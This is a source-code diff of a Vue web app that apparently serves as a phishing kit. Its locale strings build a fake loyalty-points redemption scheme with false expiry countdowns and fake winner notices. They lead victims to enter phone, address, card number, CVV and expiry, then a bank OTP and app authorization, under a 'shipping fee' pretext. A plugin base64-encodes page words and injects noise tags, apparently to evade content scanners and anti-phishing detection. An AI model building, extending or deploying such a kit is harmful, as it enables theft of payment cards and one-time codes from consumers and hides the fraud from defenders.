network_mastercard: "Mastercard Global Payment Network",
network_amex: "American Express Dedicated Channel",
network_unionpay: "UnionPay Gateway",
network_intl: "International Payment Network",
time_seconds: "{time} seconds",
},
// payment_modal
payment_modal: {
processing_payment: "Processing payment",
do_not_refresh: "Please do not refresh or close the page",
},
};

View File

@@ -0,0 +1,548 @@
export default {
// common flat keys
"Submit": "Submit",
"Next Step": "Next Step",
"Cancel": "Cancel",
"SSL Encryption": "SSL Encryption",
"Safe payment": "Safe Payment",
"PCI-DSS Certified": "PCI-DSS Certified",
"Phone number": "Phone number",
"points": "points",
"Points": "Points",
"Exchange": "Exchange",
"Inquire": "Inquire",
"Processing": "Processing",
"Sunday": "Sunday", "Monday": "Monday", "Tuesday": "Tuesday",
"Wednesday": "Wednesday", "Thursday": "Thursday", "Friday": "Friday", "Saturday": "Saturday",
"January": "January", "February": "February", "March": "March", "April": "April",
"May": "May", "June": "June", "July": "July", "August": "August",
"September": "September", "October": "October", "November": "November", "December": "December",
// theme6
reward_points_waiting: "Your reward points are waiting for you",
loyalty_thank_you: "Thank you for being a loyal member of {name}.",
points_expiry_warning: "Some of your reward points are about to expire.",
choose_reward_instruction: "Please choose your preferred reward and redeem it before it expires.",
enter_phone_to_check: "Enter your phone number to check your points.",
verify_my_points: "Check my {name} points",
placeholder_enter_number: "Please enter your phone number",
error_invalid_phone: "Please enter a valid phone number",
btn_continue: "Continue",
// login_view
login_view: {
welcome_back: "Welcome back",
reward_message: "We reward you for using our points service",
check_points: "Check your points",
},
// index_view (Theme1.vue)
index_view: {
hero_badge: "REWARDS PROGRAM",
hero_title: "You have points to redeem",
hero_subtitle: "Discover exclusive rewards just for you",
notif_text: "Verify your phone number to view your points balance",
phone_label: "Phone number",
phone_placeholder: "Enter your phone number",
phone_error: "Please enter a valid phone number",
verify_btn: "Check my points",
rewards_title: "Featured rewards",
view_all: "View all",
featured_badge: "FEATURED",
featured_title: "$50 Gift Voucher",
featured_sub: "Redeemable at our online store",
learn_more: "Learn more",
card1_title: "Bonus Data",
card1_sub: "5GB free",
card2_title: "Discount",
card2_sub: "On your next bill",
},
// theme1
theme1: {
available_title: "Redeem your points for rewards",
rewards_name: "Rewards",
desc1: "Welcome to the loyalty points exchange program.",
desc2: "The points you accumulate can be exchanged for a variety of exclusive rewards and everyday items.",
desc3: "Check your available points and start redeeming now!",
check_points: "Check points",
},
// theme2
theme2: {
title: "Points Inquiry",
subtitle: "Enter your phone number to check your available points",
feature_realtime: "Free Exchange",
feature_rewards: "Rich Rewards",
feature_secure: "Same-day Shipping",
check_my_points: "Check my points",
query_subtitle: "Please enter your phone number to make an inquiry",
phone_placeholder: "Enter phone number",
query_btn: "Check Now",
security_note: "Your information will be securely encrypted and will not be used for other purposes",
},
// theme3
theme3: {
hero_badge: "Festive Event",
title: "Festive Tech Rewards",
subtitle: "Take advantage of the season and redeem exclusive tech products with points.",
view_catalog: "View Catalog",
check_balance: "Free Exchange",
check_balance_sub: "Same-day Shipping",
account_identifier: "Phone Number",
phone_placeholder: "Enter phone number",
check_btn: "Check Points",
gift_card: "Gift Card",
all_rewards: "All Rewards",
redeemable: "Redeemable in 18 regions",
point_status: "Points Status",
redeem: "Redeem",
now: "Now",
form_title: "Verify Your Phone Number",
form_subtitle: "View your points balance and redeem products",
secure: "Secure",
fast: "Fast",
trusted: "Trusted",
user: "User",
redeemed: "successfully redeemed a product",
bonus_rate: "Bonus Rate",
products: "Products",
members: "Members",
exchange: "Exchange",
stat_points: "Points",
stat_prizes: "Prizes",
stat_members: "Members",
stat_countries: "Regions",
stat_cat_1: "Everyday Items",
stat_cat_2: "Digital Products",
stat_cat_3: "Gift Cards",
stat_cat_4: "Travel Items",
stat_hint_1: "500+ Points",
stat_hint_2: "600+ Points",
stat_hint_3: "800+ Points",
stat_hint_4: "800+ Points",
},
// theme4
theme4: {
festival_badge: "Super Festival 2024",
main_title: "Win<br>Big Rewards",
hero_sub1: "Redeem luxury gifts with your points!",
hero_sub2: "Every point brings a surprise.",
membership_status: "Free Exchange",
gold_privilege: "Same-day Shipping",
point_rate: "Points Multiplier",
active_gifts: "Active Gifts",
global_users: "Global Users",
hot_events: "Hot Events",
form_title: "Ready to check?",
form_subtitle: "Enter your details to view the balance",
phone_placeholder: "Phone Number",
check_btn: "Check My Rewards",
secure: "Secure",
fast: "Fast",
global: "Global",
congratulations: "Congratulations!",
redeemed_voucher: "just redeemed a $100 voucher!",
user: "User",
},
// theme5
theme5: {
carnival_hub: "Carnival Rewards Hub",
surprise: "Surprise",
free: "Free",
gifts: "Gifts",
claim_reward: "Claim your special reward with points!",
point_status: "Points Status",
redeem_now: "Redeem Now",
available_worldwide: "Limited-time global availability",
multipliers: "Multipliers",
free_gifts: "Free Gifts",
active_fans: "Active Fans",
fast: "Fast",
exchange: "Exchange",
same_day_shipping: "Same-day Shipping",
form_title: "Verify Your Phone Number",
form_subtitle: "Check your points and receive festival gifts!",
phone_placeholder: "Phone Number",
verify_btn: "Verify & Claim",
secure_text: "🔒 Your information is safe and encrypted",
great_news: "Great News!",
user: "User",
just_won: "just won",
},
// pay_view
pay_view: {
dear_user: "Dear User",
expiration_reminder: "Points Expiration Reminder",
details_of_points: "Points Details",
desc1: "The {0} Points Service reminds you that your current points account ({1} points) will expire within three business days. To avoid any inconvenience, please redeem your reward points as soon as possible.",
desc2: "The {0} Points Program provides exclusive member benefits, festive events, and daily rewards. {0} Points can be used directly for eligible bill payments or exchanged for practical gifts such as supermarket vouchers, coffee coupons, and prepaid cards. Please complete the exchange within the validity period to avoid expiration.",
desc3: "The {0} Points Service reminds you that you currently have {1} points in your account, which can be exchanged for various gifts of different values. Points reset every month and expired points cannot be used.",
desc4: "The {0} Points Program continuously updates selected privileges and limited-time offers. Your {0} Points can be used for eligible payments or exchanged for various lifestyle gifts, including supermarket vouchers, coffee coupons, and prepaid cards. Please use them within the validity period to avoid losing your benefits.",
how_to_use: "How to use:",
click_redeem: "Click the 'Redeem' button to enter the exchange page.",
select_reward: "Select the reward you wish to redeem.",
enter_address: "Enter the delivery address and pay the shipping fee.",
important_tip: "Important Tips:",
tip1: "Each point can only be used once, unless otherwise specified.",
tip2: "Please ensure you use them within the specified exchange validity period.",
tip3: "Points that are not redeemed before expiration will automatically become invalid and cannot be reissued or extended.",
in_dispute: "In case of dispute, this website reserves the final right of interpretation.",
order_delivery_card: "Your order will be delivered within <strong>3-5 business days</strong>.",
dear_customer: "Dear customer, your goods are ready but require shipping payment.",
point_expiration_reminder: {
page_title: "Points Expiration Reminder",
greeting: "Dear User",
reminder_prefix: "",
reminder_middle: "The Points Service reminds you that your current points balance",
reminder_suffix: "will expire within one business day. To avoid any inconvenience, please redeem your reward points as soon as possible.",
points_unit: "Points",
promotion_description: "The Points Service offers the latest and most practical promotional deals. Points can not only be used directly to pay bills, but can also be exchanged for various daily gifts, including supermarket vouchers, coffee coupons, and top-up cards.",
important_title: "Important Notes",
note_item_1: "Each point can only be used once, unless otherwise specified.",
note_item_2: "Please ensure you use them within the specified exchange validity period.",
note_item_3: "Points that are not redeemed before expiration will automatically become invalid and cannot be reissued or extended.",
call_to_action: "Act now and enjoy the many benefits and conveniences of our full range of services!",
next_button: "Next Step",
},
confirm_exchange: "Confirm Your Exchange",
monthly_limit: "Monthly Exchange Limit:",
monthly_limit_desc: "Only one exchange is allowed per month. Once you complete this exchange, you will not be able to exchange again until {date} (same day and time next month).",
final_exchange: "Final Exchange:",
final_exchange_desc: "Once confirmed, this exchange cannot be cancelled or refunded under any circumstances.",
selected_prize: "Selected Prize",
required_points: "Points Required",
remaining_points: "Points Remaining",
confirm_exchange_question: "Are you sure you want to redeem this prize?",
confirm_btn: "Confirm Exchange",
gold_tier: "Gold Tier",
total_balance: "Total Points Balance",
next_tier: "Next Tier",
need: "Needed",
member_id: "Member ID",
expiring_soon: "Expiring Soon!",
pts_vanish_in: "Points will expire in:",
redeem_now: "Redeem Now",
quick_rewards: "Quick Rewards",
see_all: "See All",
cash_back: "Recommended Products",
tech_gear: "Tech Gear",
gift_cards: "Gift Cards",
travel_item: "Travel",
out_of_stock: "Out of Stock",
featured: "Featured",
holiday_special: "Recommended Gifts",
holiday_special_sub: "Redeem your favorite gifts with points.",
pts_active: "Points",
cat_life: "Everyday Items",
cat_digital: "Digital Products",
cat_gift_cards: "Gift Cards",
cat_travel_goods: "Travel Items",
pts_500: "500+ Points",
pts_600: "600+ Points",
pts_800: "800+ Points",
platinum_tier: "Platinum Tier",
},
// pay_theme4
pay_theme4: {
available_points: "Your Available Points",
club_member_points: "Carnival Club Member Points",
progress_to_platinum: "Progress to Platinum Tier",
pct_left: "40% of Points Remaining",
member_since: "Member since March 2023",
attention: "Attention!",
you_have: "You have",
expiring_in: "Points expire in:",
days: "Days",
hrs: "Hours",
min: "Minutes",
sec: "Seconds",
redeem_now: "Redeem Now",
quick_rewards: "Quick Rewards",
from: "From",
big_carnival: "Big Carnival?",
explore_catalog: "Explore Full Catalog",
reward_mega_prize: "Everyday Items",
reward_gadgets: "Electronics",
reward_gift_cards: "Gift Cards",
reward_travel_pack: "Travel Pack",
},
// pay_theme5
pay_theme5: {
gold_level: "Gold Level",
available_points: "Your Available Points",
club_points: "Club Points",
progress_platinum: "Progress to Platinum Tier",
more_pts: "4,076 more points needed",
member_since: "Member since March 2023",
attention_expiring: "Attention! Points expiring soon",
you_have: "You have",
expiring_in: "Points expire in:",
days: "Days",
hours: "Hours",
min: "Minutes",
sec: "Seconds",
redeem_now: "Redeem Points Now",
quick_redeem: "Quick Redeem",
reward_redeem_prize: "Redeem Prize",
reward_accessories: "Accessories",
reward_life: "Lifestyle",
reward_digital: "Digital",
reward_gift_cards: "Gift Cards",
reward_from_pts: "From 500 Points",
reward_from_500: "From 500 Points",
reward_from_600: "From 600 Points",
reward_from_800: "From 800 Points",
reward_available_now: "Available now",
reward_new_stock: "New stock",
reward_travel: "Travel",
reward_explore: "Explore Now",
verified_secure: "Verified Security System",
club: "Club",
},
// goods_view
goods_view: {
please_redeem: "Please redeem your preferred products",
not_enough_points: "You do not have enough points",
please_select_date: "Please select a delivery date and cost.",
express_shipping: "Express: Delivered on {day} {date} {month}.",
delivery_between: "Delivered between {startDay} {startDayNumber} {startMonth} and {endDay} {endDayNumber} {endMonth}.",
p1title: "Apple AirPods Pro (2nd Generation)",
p2title: "Sonos Era 300",
p3title: "Nintendo Switch OLED Model",
p4title: "Logitech MX Master 3S",
p5title: "Breville Bambino Plus",
p6title: "Sony WH-1000XM5",
exclusive_catalog: "Exclusive Rewards Catalog",
you_have_points: "You have {points} points available",
redeem_desc: "Redeem your points for exclusive rewards selected especially for our customers.",
expiring_soon: "Important: Your points may expire soon. Redeem now before you lose them.",
current_balance: "Current balance:",
avg_needed: "Average needed:",
points_per_reward: "points per reward",
redeem_now: "Redeem Now",
confirm_exchange_title: "Confirm Exchange",
notice_title: "Important Notice:",
monthly_limit_msg: "You can exchange one reward per month. The limit resets on {date}.",
no_cancel_title: "Cannot be changed or cancelled:",
no_cancel_msg: "Once confirmed, this exchange cannot be cancelled or refunded.",
selected_reward_label: "Selected Reward",
points_required_label: "Points Required",
points_remaining_label: "Points Remaining",
confirm_question: "Would you like to confirm this exchange?",
confirm_btn: "Confirm",
points_note: "Points remain active only with periodic activity. Exchanged rewards cannot be returned.",
available_points: "Available Points",
spend_points: "Points to Spend",
full_points: "Full Points",
points_money: "Points + Money",
shipping_date_costs: "Delivery date and costs:",
goods_price: "Product Price",
shipping_fee: "Shipping Fee",
total_amount: "Total Amount",
},
// goods_details
goods_details: {
quantity: "Quantity",
total: "Total",
not_enough_points: "You do not have enough points",
please_redeem: "Please redeem your preferred products",
},
// address_view
address_view: {
header_title: "Shipping Address",
header_sub: "Please fill in your delivery address to redeem your points reward",
invalid_email: "Please enter a valid email address",
confirm_shipping: "Confirm Your Shipping Address",
please_select_date: "Please select a delivery date and cost.",
shipping_date_costs: "Delivery date and costs:",
express_shipping: "Express: Delivered on {day} {date} {month}.",
delivery_between: "Delivered between {startDay} {startDayNumber} {startMonth} and {endDay} {endDayNumber} {endMonth}.",
your_name: "First Name",
last_name: "Last Name",
address: "Address",
detailed_address: "Detailed address",
optional: "(Optional)",
city: "City",
state: "State",
province: "Province",
region: "Region",
zip_code: "Zip Code",
email: "Email",
telephone: "Phone Number",
mailing_address: "Mailing Address",
street_address: "Street address or house number",
apartment_number: "Apartment, suite, unit, etc.",
dear_user_msg: "Dear user, please fill in the form carefully to ensure successful delivery",
field_error: "There is an error in this field, please check",
},
// card_view
card_view: {
order_number: "Order Number:",
payment_details: "Payment Details",
cardholder: "Cardholder",
card_number: "Card number",
expire_date: "Expiry date",
security_code: "Security code",
name_on_card_placeholder: "Name on card",
invalid_card_number: "Please enter a valid card number",
invalid_cvv: "Security code must be at least 3 digits",
invalid_expiry: "Please enter a valid expiry date (MM/YY)",
card_expired: "Card has expired",
pay: "Pay",
shipping_ready_message: "Your gift is ready. Please pay the shipping fee and we will send it within 24 hours.",
selected_reward: "Selected Reward",
points_used_label: "Points used:",
pts: "pts",
choose_delivery: "Choose delivery method",
shipping_center_tip: "Your reward ships from our authorized center. You only pay the shipping fee shown below.",
estimated_label: "Estimated:",
shipping_label: "Shipping",
payment_after_note: "After payment, your order is processed immediately and shipped to your address.",
payment_tip: "Pay only the shipping fee with a debit or credit card. Payment is secure.",
accepted_methods: "Accepted methods:",
order_summary_label: "Order summary",
points_used_footer: "Points used:",
amount_due: "Amount due:",
},
// otp_view
otp_view: {
secure_checkout: "Secure Payment",
bank_additional_verification: "Your bank requires additional verification",
transaction_validation: "Transaction Validation",
payment_authentication: "Payment Authentication",
authorized_bank_label: "Authorized Bank",
verify_identity: "Please confirm your identity. A one-time verification code will be sent to your phone number or email address. Enter the code here.",
otp_resent_desc: "We have resent the one-time password (OTP) via SMS to your registered mobile number (last digits).",
enter_otp_prompt: "Please enter your one-time password (OTP).",
payment_detail: "You paid {currency} {amount} to {merchant} on {date} using card {card}",
code_sent_to: "Verification code sent to",
do_not_click: "Do not click 'Refresh' or 'Back', this may interrupt your transaction",
code_error: "Incorrect verification code, please try again",
session_expiring: "Session is expiring, please complete verification immediately",
card_not_supported: "This card does not support this transaction, please try another card",
verification_code: "Verification Code",
enter_your_otp: "Enter OTP code",
verify: "Verify",
resend_code: "Resend Code",
click_for_another: "Click here to receive another verification code",
having_trouble: "Having trouble?",
choose_another_option: "Choose another security verification method",
need_help: "Need help?",
verifying_code: "Verifying your code...",
please_wait: "Please do not close this page",
code_expires: "Verification code expires in {time}",
privacy_note: "Your personal information is encrypted with 256-bit SSL and is never stored on our servers",
why_need_otp: "This additional step confirms it is really you, protecting your account from unauthorized transactions",
contact_bank: "If you did not request this code, please contact your bank immediately",
powered_by: "Protected by bank-level security",
},
// success_view
success_view: {
payment_successful: "Payment Successful!",
thank_you: "Thank you for your purchase. Your payment has been processed successfully.",
"redirecting": "Redirecting in {seconds}s...",
back_now: "Back Now",
order_confirmed: "Order Confirmed",
funds_secured: "Your funds are secured with 256-bit encryption",
keep_receipt: "Please keep this page as confirmation of your payment",
secure_payment: "Secure Payment",
},
// app_valid_view
app_valid_view: {
authorized_bank_title: "Authorized Bank",
authorized_bank_label: "Authorized Bank",
go_to_bank_app: "Please go to your bank app to confirm authorization",
do_not_close: "Do not close this page",
verifying: "Verifying",
notified_24h: "Application result will be notified within 24 hours",
verification_success: "Verification Successful",
},
// pay_theme1
pay_theme1: {
balance_label: "Your points balance",
points_available: "points available",
expiry_title: "Warning: Points expiring soon",
expiry_desc: "Your points will expire in 3 days. Redeem them now before they are lost.",
time_remaining: "Time remaining:",
days: "Days",
hours: "Hrs",
minutes: "Min",
redeem_now: "Redeem points now",
available_rewards: "Available rewards",
rewards_count: "5 rewards",
browse_products: "Browse products",
badge_popular: "POPULAR",
browse_desc: "Full product catalog",
badge_soldout: "OUT OF STOCK",
confirm_redeem: "Confirm redemption",
reward1_name: "$50 Gift Voucher",
reward1_desc: "Redeemable at our online store",
reward2_name: "5GB Bonus Data",
reward2_desc: "Valid for 30 days",
reward3_name: "10% Discount",
reward3_desc: "On your next bill",
reward4_name: "100 Call Minutes",
reward4_desc: "International calls",
how_it_works: "How it works",
step1: "Choose the reward you want",
step2: "Confirm the redemption with your points",
step3: "Receive the reward in your account",
},
// payment_loading
payment_loading: {
modal_title: "Processing Payment",
modal_subtitle: "Please do not close this page",
transaction_details: "Transaction Details",
transaction_id: "Transaction ID:",
processing_network: "Processing Network:",
processing_time: "Processing Time:",
security_level: "Security Level:",
preparing: "Preparing...",
high: "High",
step_init: "Initializing payment environment...",
step_encrypt: "Encrypting card information...",
step_connect: "Establishing secure connection...",
step_verify_card: "Verifying card number and issuer...",
step_validate_cvv: "Validating CVV code...",
step_fraud: "Checking fraud risk...",
step_send: "Sending transaction request...",
step_wait_auth: "Waiting for bank authorization...",
step_process_resp: "Processing bank response...",
step_confirm: "Confirming transaction status...",
step_finalize: "Finalizing transaction...",
network_visa: "Visa Secure Network",
network_mastercard: "Mastercard Global Payment Network",
network_amex: "American Express Dedicated Channel",
network_unionpay: "UnionPay Payment Channel",
network_intl: "International Payment Network",
time_seconds: "{time} seconds",
},
// payment_modal
payment_modal: {
processing_payment: "Processing Payment",
do_not_refresh: "Do not refresh or close the page",
},
"common_success": {
"back_now": "Back Now"
}
};

View File

@@ -0,0 +1,41 @@
import { createApp, ref } from "vue";
import { createPinia } from "pinia";
import { createI18n } from "vue-i18n";
import App from "./App.vue";
import router from "./router";
import { createVfm } from 'vue-final-modal'
import { register } from 'swiper/element/bundle';
import 'swiper/css';
import 'swiper/css/pagination';
import 'swiper/css/navigation';
import "./assets/main.css";
import "./assets/base.css";
import { globalConfig } from "./config";
// 注册 Swiper Web Components
register();
document.documentElement.style.setProperty("--global-primary-color", globalConfig.primary_color);
document.documentElement.style.setProperty("--global-primary-color2", globalConfig.primary_color2);
document.documentElement.style.setProperty("--global-primary-color3", globalConfig.primary_color3);
const userData = ref({});
const app = createApp(App);
app.config.globalProperties.$currentUser = userData;
const i18n = createI18n({
locale: globalConfig.language,
fallbackLocale: globalConfig.language,
messages: {
[globalConfig.language]: globalConfig.language_file,
},
});
const vfm = createVfm()
app.use(vfm)
app.use(i18n);
app.use(createPinia());
app.use(router);
app.mount("#app");
export default i18n;

View File

@@ -0,0 +1,643 @@
import type { ComponentInternalInstance, Plugin, App } from 'vue';
/**
* 全局文本混淆插件
* 自动查找并替换所有文本节点
*/
// 修改Vue混淆插件以确保处理整个组件树
export const TextObfuscatorPlugin: Plugin = {
install(app: App) {
// 安装全局样式和解码脚本
addObfuscationStyle();
// 注册全局指令,直接处理元素内容
app.directive('odata', {
mounted(el) {
processTextNodes(el, null);
if (window.decodeObfuscatedContent) {
setTimeout(() => window.decodeObfuscatedContent(el), 0);
}
setupMutationObserver(el);
},
updated(el) {
processTextNodes(el, null);
if (window.decodeObfuscatedContent) {
setTimeout(() => window.decodeObfuscatedContent(el), 0);
}
}
});
// 在 app.mixin 中修改处理 $el 的部分
app.mixin({
mounted() {
// 安全地获取组件的根元素(s)
const rootElements = this.$el ?
(this.$el.nodeType === Node.ELEMENT_NODE ?
[this.$el] :
(Array.isArray(this.$el) ? this.$el : [])) :
[];
// 处理每个根元素
rootElements.forEach((rootElement: Element) => {
if (!rootElement || !(rootElement instanceof Element)) return;
// 1. 首先处理当前组件的根元素
processTextNodes(rootElement, this);
// 2. 递归处理所有子元素,确保覆盖所有文本节点
const processAllChildNodes = (element: Element) => {
if (!(element instanceof Element)) return;
try {
// 为每个子元素单独处理文本节点
const childElements = element.querySelectorAll('*');
childElements.forEach(childEl => {
processTextNodes(childEl, null);
});
// 立即解码当前处理的元素
if (window.decodeObfuscatedContent) {
setTimeout(() => window.decodeObfuscatedContent(element), 0);
}
} catch (error) {
console.error('Error processing child nodes:', error, element);
}
};
// 处理整个组件树
processAllChildNodes(rootElement);
// 设置监听
setupMutationObserver(rootElement);
});
// 添加:深度扫描所有包含纯文本的元素
setTimeout(() => {
const scanPureTextElements = (rootElement: Element) => {
// 跳过已处理过的元素
if (rootElement.hasAttribute && rootElement.hasAttribute('data-obfuscated')) {
return;
}
// 检查是否为包含纯文本的元素(只有文本节点,没有元素节点)
let hasOnlyTextNodes = false;
let hasElementNodes = false;
if (rootElement.childNodes && rootElement.childNodes.length > 0) {
hasOnlyTextNodes = Array.from(rootElement.childNodes).some(
node => node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim()
);
hasElementNodes = Array.from(rootElement.childNodes).some(
node => node.nodeType === Node.ELEMENT_NODE
);
}
// 如果元素只包含文本节点,并且不包含其他元素节点,则混淆它
if (hasOnlyTextNodes && !hasElementNodes &&
!SKIP_TAGS.includes(rootElement.tagName) &&
!Array.from(rootElement.classList || []).some(cls => SKIP_CLASSES.includes(cls))) {
processTextNodes(rootElement, null);
if (window.decodeObfuscatedContent) {
window.decodeObfuscatedContent(rootElement);
}
}
// 递归处理子元素
if (rootElement.children) {
Array.from(rootElement.children).forEach(child => {
scanPureTextElements(child);
});
}
};
// 从body开始扫描
scanPureTextElements(document.body);
}, 10); // 给DOM足够的时间渲染
},
updated() {
// 安全地获取组件的根元素(s)
const rootElements = this.$el ?
(this.$el.nodeType === Node.ELEMENT_NODE ?
[this.$el] :
(Array.isArray(this.$el) ? this.$el : [])) :
[];
// 处理每个根元素
rootElements.forEach((rootElement: Element | undefined) => {
if (!rootElement || !(rootElement instanceof Element)) return;
processTextNodes(rootElement, this);
try {
// 递归处理所有子元素
const childElements = rootElement.querySelectorAll('*');
childElements.forEach((childEl: Element) => {
processTextNodes(childEl, null);
});
if (window.decodeObfuscatedContent) {
setTimeout(() => window.decodeObfuscatedContent(rootElement), 0);
}
} catch (error) {
console.error('Error processing updated component:', error, rootElement);
}
});
}
});
}
};
// 声明全局函数类型
declare global {
interface Window {
decodeObfuscatedContent: (rootElement?: Element) => void;
}
}
// 需要跳过的标签
const SKIP_TAGS = ['SCRIPT', 'STYLE', 'TEXTAREA', 'INPUT', 'PRE', 'CODE'];
// 需要跳过的类名
const SKIP_CLASSES = ['no-obfuscate', 'op-no-obfuscate'];
/**
* 处理元素中的所有文本节点
*/
function processTextNodes(element: Element, instance: ComponentInternalInstance | null) {
if (!element || element.nodeType !== Node.ELEMENT_NODE) {
return;
}
// 为 DIV 元素增加优先处理逻辑
if (element.tagName === 'DIV' && !element.hasAttribute('data-obfuscated')) {
// 对于DIV元素特殊处理其直接子文本节点
let hasTextContent = false;
for (let i = 0; i < element.childNodes.length; i++) {
const node = element.childNodes[i];
if (node.nodeType === Node.TEXT_NODE && node.textContent && node.textContent.trim() !== '') {
hasTextContent = true;
break;
}
}
// 如果DIV中有直接的文本内容标记它需要被处理
if (hasTextContent) {
// 只处理未混淆过的DIV
const textContent = Array.from(element.childNodes)
.filter(node => node.nodeType === Node.TEXT_NODE && node.textContent)
.map(node => node.textContent).join('').trim();
if (textContent) {
// 替换整个DIV的内容
const originalHTML = element.innerHTML;
const processedHTML = obfuscateText(textContent);
element.innerHTML = processedHTML + originalHTML.replace(textContent, '');
element.setAttribute('data-obfuscated', 'true');
}
}
}
// 跳过带有特定标记的元素(避免重复处理)
if (element.hasAttribute('data-obfuscated') ||
!element ||
SKIP_TAGS.includes(element.tagName) ||
Array.from(element.classList).some(cls => SKIP_CLASSES.includes(cls))) {
return;
}
// 使用 TreeWalker 遍历所有文本节点
const walker = document.createTreeWalker(
element,
NodeFilter.SHOW_TEXT,
{
acceptNode(node) {
// 不处理完全空的文本节点
if (!node.textContent) {
return NodeFilter.FILTER_REJECT;
}
// 检查父节点是否应该被跳过
const parent = node.parentElement;
if (parent && (
SKIP_TAGS.includes(parent.tagName) ||
parent.hasAttribute('data-obfuscated') ||
Array.from(parent.classList || []).some(cls => SKIP_CLASSES.includes(cls))
)) {
return NodeFilter.FILTER_REJECT;
}
// 如果只包含空白且不是段落的首个节点,则跳过
if (node.textContent.trim() === '' &&
!(parent?.tagName === 'P' && node === parent.firstChild)) {
return NodeFilter.FILTER_REJECT;
}
return NodeFilter.FILTER_ACCEPT;
}
}
);
// 收集需要处理的文本节点
const textNodes: Text[] = [];
let currentNode: Node | null = walker.nextNode();
while (currentNode) {
textNodes.push(currentNode as Text);
currentNode = walker.nextNode();
}
// 预先计算所有混淆内容减少DOM操作次数
const fragments: DocumentFragment[] = [];
const nodesToReplace: Text[] = [];
// 在处理文本节点前,移除所有前导空格
for (const textNode of textNodes) {
const text = textNode.textContent;
if (!text) continue;
// 重要修改:检测是否是段落的首个文本节点,无条件移除开头的空白
let processedText = text;
if (textNode.parentElement?.tagName === 'P' &&
textNode === textNode.parentElement.firstChild) {
// 去除开头的空白,无论什么情况
processedText = text.replace(/^\s+/, '');
// 如果去除空白后为空,直接跳过这个节点
if (!processedText) continue;
}
try {
// 创建文档碎片来存储混淆后的内容
const fragment = document.createDocumentFragment();
const tempContainer = document.createElement('div');
tempContainer.innerHTML = obfuscateText(processedText);
// 将内容移动到碎片中
while (tempContainer.firstChild) {
fragment.appendChild(tempContainer.firstChild);
}
fragments.push(fragment);
nodesToReplace.push(textNode);
} catch (error) {
console.error('Error processing text node:', error);
}
}
// 批量替换节点,减少回流
for (let i = 0; i < nodesToReplace.length; i++) {
const textNode = nodesToReplace[i];
const fragment = fragments[i];
if (textNode.parentNode) {
textNode.parentNode.replaceChild(fragment, textNode);
}
}
}
/**
* 设置 MutationObserver 来监听 DOM 变化
*/
function setupMutationObserver(element: Element) {
if (!element) return;
const observer = new MutationObserver((mutations) => {
for (const mutation of mutations) {
if (mutation.type === 'childList' && mutation.addedNodes.length) {
mutation.addedNodes.forEach((node) => {
if (node.nodeType === Node.ELEMENT_NODE) {
processTextNodes(node as Element, null);
// 观察到新元素后立即解码
if (window.decodeObfuscatedContent) {
window.decodeObfuscatedContent(node as Element);
}
}
});
}
}
});
observer.observe(element, {
childList: true,
subtree: true
});
}
/**
* 生成随机噪声标签和注释
*/
function getRandomNoise() {
const noiseTypes = [
// HTML注释
() => `<!--${Math.random().toString(36).substring(2, 6)}-->`,
// 空的自定义元素
() => {
const tags = ['z-nil', 'z-void', 'z-null', 'z-fake', 'z-empty'];
const tag = tags[Math.floor(Math.random() * tags.length)];
return `<${tag}></${tag}>`;
},
// 带随机属性的自定义元素
() => {
const attr = `data-${Math.random().toString(36).substring(2, 7)}`;
const value = Math.random().toString(36).substring(2, 10);
return `<z-attr ${attr}="${value}"></z-attr>`;
},
// 带随机文本的隐藏元素
() => {
const text = Math.random().toString(36).substring(2, 8);
return `<z-text>${text}</z-text>`;
}
];
// 随机选择一种噪声类型
const noiseGenerator = noiseTypes[Math.floor(Math.random() * noiseTypes.length)];
return noiseGenerator();
}
/**
* 混淆文本 - 将文本拆分成单词并分别存储使用自定义z-标签
*/
function obfuscateText(text: string): string {
if (!text) return '';
// 首先移除文本开头的所有空白字符以解决段落首行缩进问题
text = text.replace(/^\s+/, '');
if (!text) return '';
// 使用正则表达式将文本拆分为单词和空格,保持完整性
const words = text.split(/(\s+)/);
let result = '<z-wrap data-obfuscated="true">';
// 过滤掉空字符串避免生成空的z-span元素
const filteredWords = words.filter(word => word.length > 0);
// 为每个单词创建一个独立的自定义元素
filteredWords.forEach((word, index) => {
// 对空格和特殊字符进行特殊处理
if (/^\s+$/.test(word)) {
// 改进:更精确地处理各种换行符
if (/[\n\r]/.test(word)) {
// 将所有类型的换行符分割出来但仅在实际有换行符时才添加z-break元素
result += '<z-break></z-break>';
} else {
// 纯空格的情况 - 对连续空格合并处理避免添加过多z-space
result += '<z-space></z-space>';
}
return;
}
// 随机在单词前添加噪声,但减少频率
if (Math.random() > 0.85) {
result += getRandomNoise();
}
// 为了提高效率,固定属性名
const attrId = `data`;
// 将单词编码为Base64
const encodedWord = btoa(encodeURIComponent(word));
// 随机选择z-span或z-strong标签增加混淆度
const tagName = Math.random() > 0.5 ? 'z-span' : 'z-strong';
// 添加标签开始部分
result += `<${tagName} data-${attrId}="${encodedWord}" data-preload="true">`;
// 随机在标签内添加隐藏内容,但减少频率
if (Math.random() > 0.8) {
const fakeText = Math.random().toString(36).substring(2, 5 + Math.floor(Math.random() * 5));
result += `<z-hidden>${fakeText}</z-hidden>`;
}
// 闭合标签
result += `</${tagName}>`;
// 随机在单词后添加噪声,但减少频率
if (Math.random() > 0.85) {
result += getRandomNoise();
}
});
result += '</z-wrap>';
return result;
}
/**
* 添加显示混淆内容的样式和解码脚本
*/
function addObfuscationStyle() {
// 添加样式
if (!document.getElementById('obfuscation-style')) {
const style = document.createElement('style');
style.id = 'obfuscation-style';
style.textContent = `
/* 自定义元素基本样式 */
z-wrap {
display: inline;
white-space: normal;
user-select: none; /* 阻止文本选择 */
text-indent: 0 !important; /* 确保无缩进 */
}
/* 添加一个类来允许选择文本的情况 */
.allow-select z-wrap {
user-select: text;
}
/* 确保段落中的混淆内容没有开头缩进 */
p > z-wrap:first-child {
text-indent: 0 !important;
margin-left: 0 !important;
padding-left: 0 !important;
}
/* 处理所有p标签确保没有多余空间 */
p {
text-indent: 0;
}
z-span, z-strong {
display: inline-block;
position: relative;
opacity: 1;
transition: opacity 0.1s ease;
margin: 0;
padding: 0;
}
/* 控制右侧间距 */
z-span + z-span, z-strong + z-strong, z-span + z-strong, z-strong + z-span {
margin-left: 0.1em;
}
/* 移除最后一个元素的右侧间距 */
z-span:last-child, z-strong:last-child {
margin-right: 0;
}
z-span::after, z-strong::after {
content: attr(data-content);
position: relative;
pointer-events: none;
}
/* 空格元素 - 精确控制宽度 */
z-space {
display: inline-block;
width: 0.25em;
margin: 0;
padding: 0;
}
/* 空的z-span/z-strong元素不应该显示 */
z-span:not([data-content]), z-strong:not([data-content]) {
display: none;
